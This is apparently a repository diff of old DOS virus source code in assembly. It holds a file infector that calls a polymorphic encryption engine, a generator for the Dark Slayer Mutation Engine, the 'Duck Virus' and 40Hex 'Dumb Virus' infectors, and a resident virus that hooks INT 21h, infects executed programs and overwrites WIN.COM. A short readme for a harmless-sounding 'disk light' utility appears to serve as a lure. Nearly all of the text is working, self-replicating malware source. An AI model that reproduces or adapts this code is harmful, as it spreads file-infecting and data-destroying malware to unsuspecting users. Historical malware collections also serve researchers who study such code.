|
||||
MOV DX,CS
|
||||
CLI
|
||||
MOV SS,DX
|
||||
MOV SP,AX
|
||||
STI
|
||||
CMP FILE_MODE,0
|
||||
JZ WRITE_COM
|
||||
JMP SHORT WRITE_EXE
|
||||
WRITE_COM: MOV SI,OFFSET VIR_BUFFER
|
||||
MOV BYTE PTR [SI],0E9H
|
||||
MOV AX,FILE_LEN
|
||||
PUSH AX
|
||||
SUB AX,3
|
||||
MOV [SI+1],AX
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
MOV AH,40H
|
||||
MOV DX,SI
|
||||
MOV CX,3
|
||||
INT 21H
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
MOV AX,VIR_LEN + 600H
|
||||
MOV DX,CS
|
||||
SHR AX,4
|
||||
INC AX
|
||||
ADD AX,DX
|
||||
MOV ES,AX
|
||||
MOV DX,OFFSET START
|
||||
MOV CX,VIR_LEN
|
||||
POP BP
|
||||
ADD BP,0100H
|
||||
PUSH BX
|
||||
MOV BL,10B
|
||||
|
||||
CALL DSCE
|
||||
|
||||
POP BX
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
SET_DATE: MOV AX,5701H
|
||||
MOV CX,DATE_CX
|
||||
MOV DX,DATE_DX
|
||||
ADD DX,0C800H
|
||||
INT 21H
|
||||
MOV AX,SP_BUF
|
||||
MOV DX,SS_BUF
|
||||
CLI
|
||||
MOV SS,DX
|
||||
MOV SP,AX
|
||||
STI
|
||||
RET
|
||||
|
||||
WRITE_EXE: PUSH CS
|
||||
POP ES
|
||||
MOV SI,OFFSET EXE_HEAD
|
||||
MOV DI,OFFSET VIR_BUFFER
|
||||
MOV CX,18H
|
||||
REP MOVSB
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
ADD AX,0FH
|
||||
ADC DX,0
|
||||
AND AX,0FFF0H
|
||||
MOV NEW_SIZE_L,AX
|
||||
MOV NEW_SIZE_H,DX
|
||||
MOV CX,10H
|
||||
DIV CX
|
||||
MOV DI,OFFSET VIR_BUFFER
|
||||
SUB AX,[DI+8]
|
||||
MOV [DI+16H],AX
|
||||
MOV [DI+0EH],AX
|
||||
MOV WORD PTR [DI+14H],0
|
||||
MOV [DI+10H],0FFFEH
|
||||
MOV AX,4200H
|
||||
MOV DX,NEW_SIZE_L
|
||||
MOV CX,NEW_SIZE_H
|
||||
INT 21H
|
||||
MOV AX,VIR_LEN + 600H
|
||||
MOV DX,CS
|
||||
SHR AX,4
|
||||
INC AX
|
||||
ADD AX,DX
|
||||
MOV ES,AX
|
||||
MOV DX,OFFSET START
|
||||
MOV CX,VIR_LEN
|
||||
MOV BP,0
|
||||
PUSH BX
|
||||
MOV BL,11B
|
||||
|
||||
CALL DSCE
|
||||
|
||||
POP BX
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
MOV AX,NEW_SIZE_L
|
||||
MOV DX,NEW_SIZE_H
|
||||
ADD AX,CX
|
||||
ADC DX,0
|
||||
MOV CX,200H
|
||||
MOV DI,OFFSET VIR_BUFFER
|
||||
DIV CX
|
||||
OR DX,DX
|
||||
JZ GET_NEW
|
||||
INC AX
|
||||
GET_NEW: MOV [DI+4],AX
|
||||
MOV [DI+2],DX
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
MOV AH,40H
|
||||
MOV CX,18H
|
||||
MOV DX,DI
|
||||
INT 21H
|
||||
JMP SET_DATE
|
||||
WRITE ENDP
|
||||
|
||||
INF_PUSH PROC
|
||||
POP CS:POP_BUFFER
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
JMP CS:POP_BUFFER
|
||||
INF_PUSH ENDP
|
||||
|
||||
INF_POP PROC
|
||||
POP CS:POP_BUFFER
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
JMP CS:POP_BUFFER
|
||||
INF_POP ENDP
|
||||
|
||||
DEMO ENDS
|
||||
END START
|
|
@ -0,0 +1,56 @@
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
P R O - D I S K - L I T E
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
v1.01
|
||||
|
||||
|
||||
|
||||
|
||||
by Dan Joung and Dark Ray
|
||||
|
||||
What is it?
|
||||
|
||||
Pro-Disk-lite is a on-screen disk lite, it will show a floppie-disk in the
|
||||
upper right courner of your screen if interrupt HEX 13 is called, what means
|
||||
it will on any kind of disk access.
|
||||
|
||||
Why use it?
|
||||
|
||||
Because is't handy if you havn't got a (working) LED in your drive, or just
|
||||
because it looks great!
|
||||
|
||||
Who are you?
|
||||
|
||||
I'm Dan Joung, a hareware programmammer from the states.
|
||||
And my friend DarkRay (who allways uses an alias) who drawed the ANSI-screen
|
||||
for me, excellent work darky!
|
||||
|
||||
Costs?
|
||||
|
||||
Non, but if you like it you can send me 10 dollar...
|
||||
|
||||
Dan Joung
|
||||
10th street
|
||||
624155 New York
|
||||
United States
|
||||
|
||||
Thanks in advance!
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,119 @@
|
|||
|
||||
; Dark Slayer Mutation Engine v1.0
|
||||
; Written by Dark Slayer in Taiwan
|
||||
|
||||
DSME_GEN SEGMENT
|
||||
ASSUME CS:DSME_GEN,DS:DSME_GEN
|
||||
ORG 0100h
|
||||
|
||||
MSG_ADDR EQU OFFSET MSG-OFFSET PROC_START-0005h
|
||||
|
||||
EXTRN DSME:NEAR,DSME_END:NEAR
|
||||
|
||||
; 以下程式,除了要注意的地方有注解,其它部份自己研究
|
||||
; you may get some information as following remarks
|
||||
;
|
||||
|
||||
START:
|
||||
MOV AH,09h
|
||||
MOV DX,OFFSET DG_MSG
|
||||
INT 21h
|
||||
|
||||
MOV AX,OFFSET DSME_END+000Fh ; 本程式 + DSME+000Fh 之後的位址
|
||||
; 若減 0100h 則成為本程式 + DSME 的長度
|
||||
; This program + DSME+000Fh address
|
||||
; Minus 0100h = this program + DSME
|
||||
; lengh
|
||||
MOV CL,04h
|
||||
SHR AX,CL
|
||||
MOV BX,CS
|
||||
ADD BX,AX
|
||||
|
||||
MOV ES,BX ; 設 ES 用來放解碼程式和被編碼資料
|
||||
; 解碼程式最大為 1024 Bytes
|
||||
; 若用在常駐程式時,則須注意分配的記憶體大小
|
||||
; Setting ES to put decryptor and encrypted
|
||||
; code.
|
||||
; Decryptor maxium is 1024 bytes
|
||||
; You should notice the allocation of memory
|
||||
; size when you use DSME in resident mode.
|
||||
|
||||
|
||||
MOV CX,50
|
||||
DG_L0:
|
||||
PUSH CX
|
||||
MOV AH,3Ch
|
||||
XOR CX,CX
|
||||
MOV DX,OFFSET FILE_NAME
|
||||
INT 21h
|
||||
XCHG BX,AX
|
||||
|
||||
MOV BP,0100h ; 解碼程式偏移位址
|
||||
; 用來寫毒時則依欲感染檔案之大小而設
|
||||
; Offset where the decryption routine
|
||||
; will be executed
|
||||
; It depends on which kinds of files
|
||||
; COM or EXE?
|
||||
|
||||
MOV CX,OFFSET PROC_END-OFFSET PROC_START ; 被編碼程式的長度
|
||||
; encrypted code
|
||||
; lengh
|
||||
|
||||
MOV DX,OFFSET PROC_START ; DS:DX -> 要被編碼的程式位址
|
||||
; DS:DX -> Encrypted code's
|
||||
; address
|
||||
|
||||
PUSH BX ; 保存 File handle
|
||||
; keep File handle
|
||||
|
||||
MOV BL,00h ; COM 模式
|
||||
; COM mode
|
||||
|
||||
CALL DSME
|
||||
|
||||
POP BX
|
||||
|
||||
MOV AH,40h ; 返回時 DS:DX = 解碼程式 + 被編碼程式的位址
|
||||
INT 21h ; CX = 解碼程式 + 被編碼程式的長度,其它暫存器不變
|
||||
; When returning from DSME,
|
||||
; DS:DX = decryptor + encrypted code's address
|
||||
; CX = lengh of decryptor + encrypted code
|
||||
; Other registers won't be changed.
|
||||
|
||||
MOV AH,3Eh
|
||||
INT 21h
|
||||
|
||||
PUSH CS
|
||||
POP DS ; 將 DS 設回來
|
||||
; restore DS
|
||||
|
||||
MOV BX,OFFSET FILE_NUM
|
||||
INC BYTE PTR DS:[BX+0001h]
|
||||
CMP BYTE PTR DS:[BX+0001h],'9'
|
||||
JBE DG_L1
|
||||
INC BYTE PTR DS:[BX]
|
||||
MOV BYTE PTR DS:[BX+0001h],'0'
|
||||
DG_L1:
|
||||
POP CX
|
||||
LOOP DG_L0
|
||||
MOV AH,4Ch
|
||||
INT 21h
|
||||
|
||||
FILE_NAME DB '000000'
|
||||
FILE_NUM DB '00.COM',00h
|
||||
|
||||
DG_MSG DB 'Generates 50 DSME encrypted test files.',0Dh,0Ah,'$'
|
||||
|
||||
PROC_START:
|
||||
MOV AH,09h
|
||||
CALL $+0003h
|
||||
POP DX
|
||||
ADD DX,MSG_ADDR
|
||||
INT 21h
|
||||
INT 20h
|
||||
MSG DB 'this is <DSME> test file.$'
|
||||
PROC_END:
|
||||
|
||||
DSME_GEN ENDS
|
||||
END START
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,294 @@
|
|||
; Virus generated by Gý 0.70á
|
||||
; Gý written by Dark Angel of Phalcon/Skism
|
||||
|
||||
; File: DUCK.ASM
|
||||
; Duck Virus by White Shark
|
||||
|
||||
id = 'DA'
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
; Assemble with:
|
||||
; TASM /m3 filename.ASM
|
||||
; TLINK /t filename.OBJ
|
||||
org 0100h
|
||||
|
||||
carrier:
|
||||
db 0E9h,0,0 ; jmp start
|
||||
|
||||
start:
|
||||
mov bp, sp
|
||||
int 0003h
|
||||
next:
|
||||
mov bp, ss:[bp-6]
|
||||
sub bp, offset next
|
||||
|
||||
push es
|
||||
push ds
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ah, 0047h ; Get directory
|
||||
lea si, [bp+offset origdir+1]
|
||||
mov dl, 0000h ; Default drive
|
||||
int 0021h
|
||||
|
||||
lea dx, [bp+offset newDTA]
|
||||
mov ah, 001Ah ; Set DTA
|
||||
int 0021h
|
||||
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax, 3521h ; get int 21h handler
|
||||
int 0021h
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xchg bx, dx
|
||||
mov ax, 2503h ; set int 3 = int 21h handler
|
||||
int 0021h
|
||||
|
||||
pop es
|
||||
pop ds
|
||||
lea di, [bp+offset origCSIP2]
|
||||
lea si, [bp+offset origCSIP]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfect], 0000h
|
||||
traverse_loop:
|
||||
lea dx, [bp+offset COMmask]
|
||||
call infect
|
||||
lea dx, [bp+offset EXEmask]
|
||||
call infect
|
||||
cmp [bp+numinfect], 0064h
|
||||
jae exit_traverse ; exit if enough infected
|
||||
|
||||
mov ah, 003Bh ; CHDIR
|
||||
lea dx, [bp+offset dot_dot] ; go to previous dir
|
||||
int 0003h
|
||||
jnc traverse_loop ; loop if no error
|
||||
|
||||
exit_traverse:
|
||||
|
||||
lea si, [bp+offset origdir]
|
||||
mov byte ptr [si], '\'
|
||||
mov ah, 003Bh ; restore directory
|
||||
xchg dx, si
|
||||
int 0003h
|
||||
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
mov ah, 001Ah ; restore DTA to default
|
||||
mov dx, 0080h ; in the PSP
|
||||
int 0003h
|
||||
|
||||
cmp sp, id
|
||||
je restore_EXE
|
||||
restore_COM:
|
||||
mov di, 0100h
|
||||
push di
|
||||
lea si, [bp+offset old3_2]
|
||||
mov cx, 0003h ; Caution: far from the most efficient
|
||||
rep movsb ; routine
|
||||
return:
|
||||
ret
|
||||
|
||||
restore_EXE:
|
||||
mov ax, es
|
||||
add ax, 0010h
|
||||
add cs:[bp+word ptr origCSIP2+2], ax
|
||||
add ax, cs:[bp+word ptr origSPSS2]
|
||||
cli
|
||||
mov ss, ax
|
||||
mov sp, cs:[bp+word ptr origSPSS2+2]
|
||||
sti
|
||||
db 00EAh
|
||||
origCSIP2 db ?
|
||||
old3_2 db ?,?,?
|
||||
origSPSS2 dd ?
|
||||
|
||||
origCSIP db ?
|
||||
old3 db 0cdh,20h,0
|
||||
origSPSS dd ?
|
||||
|
||||
infect:
|
||||
mov ah, 004Eh ; find first
|
||||
mov cx, 0007h ; all files
|
||||
findfirstnext:
|
||||
int 0003h
|
||||
jc return
|
||||
|
||||
cmp word ptr [bp+newDTA+34], 'NA' ; Check if COMMAND.COM
|
||||
mov ah, 004Fh ; Set up find next
|
||||
jz findfirstnext ; Exit if so
|
||||
|
||||
mov ax, 4300h
|
||||
lea dx, [bp+newDTA+30]
|
||||
int 0003h
|
||||
jc return
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ax, 4301h ; clear file attributes
|
||||
push ax ; save for later use
|
||||
xor cx, cx
|
||||
int 0003h
|
||||
|
||||
lea dx, [bp+newDTA+30]
|
||||
mov ax, 3D02h
|
||||
int 0003h
|
||||
xchg ax, bx
|
||||
|
||||
mov ax, 5700h ; get file time/date
|
||||
int 0003h
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ah, 003Fh
|
||||
lea dx, [bp+offset readbuffer]
|
||||
mov cx, 001Ah
|
||||
int 0003h
|
||||
|
||||
xor cx, cx
|
||||
mov ax, 4202h
|
||||
cwd
|
||||
int 0003h
|
||||
|
||||
cmp word ptr [bp+offset readbuffer], 'ZM'
|
||||
jz checkEXE
|
||||
|
||||
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
|
||||
add cx, heap-start+3 ; convert to filesize
|
||||
cmp ax, cx ; equal if already infected
|
||||
jz jmp_close
|
||||
|
||||
lea di, [bp+offset old3]
|
||||
lea si, [bp+offset readbuffer]
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov cx, 0003h
|
||||
sub ax, cx
|
||||
mov word ptr [bp+offset readbuffer+1], ax
|
||||
mov dl, 00E9h
|
||||
mov byte ptr [bp+offset readbuffer], dl
|
||||
jmp short continue_infect
|
||||
checkEXE:
|
||||
cmp word ptr [bp+offset readbuffer+10h], id
|
||||
jnz skipp
|
||||
jmp_close:
|
||||
jmp close
|
||||
skipp:
|
||||
|
||||
lea si, [bp+readbuffer+14h]
|
||||
lea di, [bp+origCSIP]
|
||||
movsw ; Save original CS and IP
|
||||
movsw
|
||||
|
||||
sub si, 000Ah
|
||||
movsw ; Save original SS and SP
|
||||
movsw
|
||||
|
||||
push bx ; save file handle
|
||||
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
|
||||
mov cl, 0004h
|
||||
shl bx, cl
|
||||
|
||||
push dx ; Save file size on the
|
||||
push ax ; stack
|
||||
|
||||
sub ax, bx ; File size - Header size
|
||||
sbb dx, 0000h ; DX:AX - BX -> DX:AX
|
||||
|
||||
mov cx, 0010h
|
||||
div cx ; DX:AX/CX = AX Remainder DX
|
||||
|
||||
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
|
||||
mov word ptr [bp+readbuffer+10h], id ; Initial SP
|
||||
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
|
||||
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
|
||||
|
||||
pop ax ; Filelength in DX:AX
|
||||
pop dx
|
||||
|
||||
add ax, heap-start
|
||||
adc dx, 0000h
|
||||
|
||||
mov cl, 0009h
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 0001h
|
||||
|
||||
mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
|
||||
mov word ptr [bp+readbuffer+2], ax ; the EXE header.
|
||||
|
||||
pop bx ; restore file handle
|
||||
mov cx, 001Ah
|
||||
|
||||
continue_infect:
|
||||
push cx ; save # bytes to write
|
||||
|
||||
lea dx, [bp+offset start]
|
||||
mov ah, 0040h ; concatenate virus
|
||||
mov cx, heap-start
|
||||
int 0003h
|
||||
|
||||
xor dx, dx
|
||||
mov ax, 4200h
|
||||
xor cx, cx
|
||||
int 0003h
|
||||
|
||||
|
||||
lea dx, [bp+offset readbuffer]
|
||||
mov ah, 0040h
|
||||
pop cx
|
||||
int 0003h
|
||||
|
||||
inc [bp+numinfect]
|
||||
|
||||
close:
|
||||
mov ax, 5701h ; restore file time/date
|
||||
pop dx
|
||||
pop cx
|
||||
int 0003h
|
||||
|
||||
mov ah, 003Eh
|
||||
int 0003h
|
||||
|
||||
pop ax ; restore file attributes
|
||||
pop dx ; get filename and
|
||||
pop cx ; attributes from stack
|
||||
int 0003h
|
||||
|
||||
mov ah, 004Fh ; find next
|
||||
jmp findfirstnext
|
||||
|
||||
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
|
||||
creator db 'White Shark',0
|
||||
virusname db 'Duck Virus',0
|
||||
EXEmask db '*.EXE',0
|
||||
COMmask db '*.COM',0
|
||||
dot_dot db '..',0
|
||||
|
||||
heap:
|
||||
newDTA db 43 dup (?)
|
||||
origdir db 65 dup (?)
|
||||
numinfect db ?
|
||||
readbuffer db 1ah dup (?)
|
||||
endheap:
|
||||
end carrier
|
|
@ -0,0 +1,116 @@
|
|||
DumbVirus segment
|
||||
Assume CS:DumbVirus
|
||||
Org 100h ; account for PSP
|
||||
|
||||
; Dumb Virus - 40Hex demo virus
|
||||
; Assemble with TASM /m2
|
||||
|
||||
Start: db 0e9h ; jmp duh
|
||||
dw 0
|
||||
|
||||
; This is where the virus starts
|
||||
duh: call next
|
||||
next: pop bp ; bp holds current location
|
||||
sub bp, offset next ; calculate net change
|
||||
|
||||
; Restore the original first three bytes
|
||||
lea si, [bp+offset stuff]
|
||||
mov di, 100h
|
||||
; Put 100h on the stack for the retn later
|
||||
; This will allow for the return to the beginning of the file
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
|
||||
; Change DTA from default (otherwise Findfirst/next will destroy
|
||||
; commandline parametres
|
||||
lea dx, [bp+offset dta]
|
||||
call set_dta
|
||||
|
||||
mov ah, 4eh ; Find first
|
||||
lea dx, [bp+masker] ; search for '*.COM',0
|
||||
xor cx, cx ; attribute mask - this is unnecessary
|
||||
tryanother:
|
||||
int 21h
|
||||
jc quit ; Quit on error
|
||||
|
||||
; Open file for read/write
|
||||
; Note: This fails on read-only files
|
||||
mov ax, 3D02h
|
||||
lea dx, [bp+offset dta+30] ; File name is located in DTA
|
||||
int 21h
|
||||
xchg ax, bx
|
||||
|
||||
; Read in the first three bytes
|
||||
mov ah, 3fh
|
||||
lea dx, [bp+stuff]
|
||||
mov cx, 3
|
||||
int 21h
|
||||
|
||||
; Check for previous infection
|
||||
mov ax, word ptr [bp+dta+26] ; ax = filesize
|
||||
mov cx, word ptr [bp+stuff+1] ; jmp location
|
||||
add cx, eov - duh + 3 ; convert to filesize
|
||||
cmp ax, cx ; if same, already infected
|
||||
jz close ; so quit out of here
|
||||
|
||||
; Calculate the offset of the jmp
|
||||
sub ax, 3 ; ax = filesize - 3
|
||||
mov word ptr [bp+writebuffer], ax
|
||||
|
||||
; Go to the beginning of the file
|
||||
xor al, al
|
||||
call f_ptr
|
||||
|
||||
; Write the three bytes
|
||||
mov ah, 40h
|
||||
mov cx, 3
|
||||
lea dx, [bp+e9]
|
||||
int 21h
|
||||
|
||||
; Go to the end of the file
|
||||
mov al, 2
|
||||
call f_ptr
|
||||
|
||||
; And write the rest of the virus
|
||||
mov ah, 40h
|
||||
mov cx, eov - duh
|
||||
lea dx, [bp+duh]
|
||||
int 21h
|
||||
|
||||
close:
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
; Try infecting another file
|
||||
mov ah, 4fh ; Find next
|
||||
jmp short tryanother
|
||||
|
||||
; Restore the DTA and return control to the original program
|
||||
quit: mov dx, 80h ; Restore current DTA to
|
||||
; the default @ PSP:80h
|
||||
set_dta:
|
||||
mov ah, 1ah ; Set disk transfer address
|
||||
int 21h
|
||||
retn
|
||||
f_ptr: mov ah, 42h
|
||||
xor cx, cx
|
||||
cwd ; equivalent to: xor dx, dx
|
||||
int 21h
|
||||
retn
|
||||
|
||||
masker db '*.com',0
|
||||
; Original three bytes of the infected file
|
||||
; Currently holds a INT 20h instruction and a null byte
|
||||
stuff db 0cdh, 20h, 0
|
||||
e9 db 0e9h
|
||||
eov equ $ ; End of the virus
|
||||
; The following variables are stored in the heap space (the area between
|
||||
; the stack and the code) and are not part of the virus that is written
|
||||
; to files.
|
||||
writebuffer dw ? ; Scratch area holding the
|
||||
; JMP offset
|
||||
dta db 42 dup (?)
|
||||
DumbVirus ENDS
|
||||
END Start
|
||||
|
|
@ -0,0 +1,476 @@
|
|||
; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows...
|
||||
; [] ][ [] [] []
|
||||
; [] [] [] [] [] An original Viral Artform by
|
||||
; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of
|
||||
; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703!
|
||||
; [][] ][ ][ [][][]
|
||||
|
||||
; "Hey, you... with the shitty logo... Yeah, you! Get over here!"
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
id_word equ '1V' ; Marker Word
|
||||
; V1 in Lil' Endian
|
||||
entry:
|
||||
mov bx, offset endcrypt ; Virus Start
|
||||
mov cx, (end_write-endcrypt)/2 ; Ieterations
|
||||
Valu:
|
||||
mov dx, 0000h ; Xor Word
|
||||
Crypt_Loop:
|
||||
xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd)
|
||||
ror word ptr cs:[bx], 1 ; Roll it Right!
|
||||
inc bx
|
||||
inc bx
|
||||
loop Crypt_Loop
|
||||
EndCrypt:
|
||||
|
||||
push ds es ; Save Segments
|
||||
|
||||
push cs cs ; CS=DS=ES
|
||||
pop ds es
|
||||
|
||||
mov ax, 0ABCDh ; R-U-There?
|
||||
int 21h
|
||||
cmp ax, 6969h ; Ax=6969h Vir_Ident
|
||||
jne put_vir_in_mem ; No.
|
||||
|
||||
exit:
|
||||
pop es ds ; Restore Segments
|
||||
|
||||
mov ax, es ; AX = PSP segment
|
||||
add ax, 10h ; Adjust for PSP
|
||||
mov cx, ax
|
||||
|
||||
add ax, word ptr cs:[stacksave] ; Adjust SS
|
||||
|
||||
cli
|
||||
mov sp, word ptr cs:[stacksave+2] ; Set SP
|
||||
mov ss, ax ; Set SS
|
||||
sti
|
||||
|
||||
mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg
|
||||
add bx, cx
|
||||
push bx ; Save It
|
||||
|
||||
mov bx, word ptr cs:[jmpsave] ; Load IP
|
||||
push bx ; Save It
|
||||
|
||||
retf ; Exit Virus
|
||||
|
||||
jmpsave dd 0fff00000h ; Point to INT 20h
|
||||
stacksave dd ? ; Nada.
|
||||
|
||||
put_vir_in_mem:
|
||||
xor ax,ax ; Interrupt Table
|
||||
mov ds,ax
|
||||
les bx, dword ptr ds:[21h*4] ; Int 21h Vector
|
||||
|
||||
mov word ptr cs:[old_int_21], bx ; Save Int 21h
|
||||
mov word ptr ds:[30h*4],bx ; Revector 30h
|
||||
mov word ptr cs:[old_int_21+2], es
|
||||
mov word ptr ds:[30h*4+2], es
|
||||
|
||||
push cs cs ; Restore Segments
|
||||
pop es ds
|
||||
|
||||
mov ax, 5800h ; Get Mem Alloc
|
||||
int 21h
|
||||
|
||||
push ax ; Save Strategy
|
||||
|
||||
mov bx, 2
|
||||
mov ax, 5801h ; Set to Last Fit
|
||||
int 21h
|
||||
|
||||
mov bx, ((end_vir - entry) / 16) + 1
|
||||
mov ah, 48h ; Allocate Block
|
||||
int 21h
|
||||
|
||||
push ax ; Returned in AX
|
||||
sub ax, 10h ; Base Ofs 100h
|
||||
mov es, ax ; Our Segment
|
||||
|
||||
mov di, 100h ; Entry = 100h
|
||||
mov si, di ; Entry = 100h
|
||||
mov cx, end_write - entry ; Bytes to Zopy
|
||||
rep movsb
|
||||
|
||||
xor cx, cx ; Interrupt Table
|
||||
push cx
|
||||
pop ds
|
||||
|
||||
cli
|
||||
mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h
|
||||
mov word ptr ds:[21h*4+2], ax
|
||||
sti
|
||||
|
||||
pop ax
|
||||
sub ax, 1
|
||||
mov es, ax ; Point To MCB
|
||||
mov word ptr es:[0001], 0008 ; Config = 0008h
|
||||
|
||||
mov ax, 5801h ; Reset Strategy
|
||||
pop bx
|
||||
int 21h
|
||||
|
||||
jmp exit ; Exit Stub
|
||||
|
||||
int_21_handler:
|
||||
push ax bx cx dx si di bp es ds ; Save Registers
|
||||
|
||||
cmp ax, 0ABCDh ; R-U-There?
|
||||
je r_u_there
|
||||
|
||||
cmp ax, 4B00h ; DOS Exec?
|
||||
je exec_call
|
||||
|
||||
back_to_dos:
|
||||
pop ds es bp di si dx cx bx ax ; Restore Registers
|
||||
|
||||
db 0eah ; JMP XXXX:YYYY
|
||||
old_int_21 dd ?
|
||||
|
||||
remove_locks:
|
||||
xor ax,ax ; Interrupt Table
|
||||
mov ds,ax
|
||||
les ax, dword ptr cs:[Old24] ; Get Int 24h Vector
|
||||
|
||||
mov word ptr ds:[24h*4], Ax ; And Replace It
|
||||
mov word ptr ds:[24h*4+2], Es
|
||||
jmp back_to_dos
|
||||
|
||||
r_u_there:
|
||||
mov bp, sp ; Alter AX On Stack
|
||||
mov word ptr [bp+10h], 6969h
|
||||
jmp end_int_21
|
||||
|
||||
exec_call:
|
||||
xor ax,ax ; Revector Int 24h
|
||||
mov ds,ax
|
||||
les ax, DWord Ptr ds:[24h*4]
|
||||
|
||||
mov word ptr cs:[Old24], ax ; Save Old Vector
|
||||
mov word ptr cs:[Old24+2], es
|
||||
|
||||
mov word ptr ds:[24h*4], Offset My24 ; With Our Vector
|
||||
mov word ptr ds:[24h*4+2], cs
|
||||
|
||||
pop es ; Caller's Ds in Es
|
||||
push es
|
||||
|
||||
mov di, dx ; ES:DI -> filename
|
||||
push cs
|
||||
pop ds ; DS:SI -> "WIN.COM"
|
||||
mov si, offset win_com
|
||||
push si
|
||||
|
||||
find_top:
|
||||
pop si
|
||||
push si
|
||||
lodsb ; AL = "W"
|
||||
|
||||
mov cx, 128
|
||||
repnz scasb ; Scan For "W"
|
||||
je check_it ; Got a "W", Check It
|
||||
pop si
|
||||
jmp infect ; Not WIN.COM
|
||||
|
||||
check_it:
|
||||
mov cl, 7
|
||||
|
||||
check_char:
|
||||
lodsb ; Load Next Character
|
||||
scasb ; and Check it
|
||||
jne find_top ; Leave if < >
|
||||
loop check_char
|
||||
|
||||
pop si
|
||||
|
||||
nuke_windows:
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ax, 3d02h ; Open WIN.COM
|
||||
int 30h
|
||||
|
||||
xchg ax,bx ; Handle in BX
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah, 40h ; Write WIN.COM
|
||||
mov cx, (my24-win_exit)-1
|
||||
mov dx, offset win_exit ; with CD 20h
|
||||
int 30h
|
||||
|
||||
mov ah, 3eh ; Close File
|
||||
int 30h
|
||||
|
||||
mov ah, 9 ; Show User Message
|
||||
mov dx, offset win_msg
|
||||
int 30h
|
||||
|
||||
end_int_21:
|
||||
pop ds es bp di si dx cx bx ax ; Restore Registers
|
||||
iret
|
||||
|
||||
infect: ; File Infection
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov si, dx ; DS:SI -> filename
|
||||
push cs
|
||||
pop es
|
||||
mov di, offset fname
|
||||
LoopAgain: ; Copy filename into
|
||||
lodsb ; Our CodeSeg.
|
||||
stosb
|
||||
or al,al
|
||||
jnz LoopAgain
|
||||
|
||||
push cs ; CS=DS=ES
|
||||
pop ds
|
||||
|
||||
xor ax, ax ; Get Attributes
|
||||
call attributes
|
||||
|
||||
mov word ptr [fattr], cx ; Save Attributes
|
||||
|
||||
mov ax, 3D00h ; Open File
|
||||
int 30h
|
||||
jc bad_exe
|
||||
|
||||
xchg ax, bx ; BX = File Handle
|
||||
|
||||
mov ax, 5700h ; Get File Date/Time
|
||||
int 30h
|
||||
|
||||
mov ftime, cx ; Save Time
|
||||
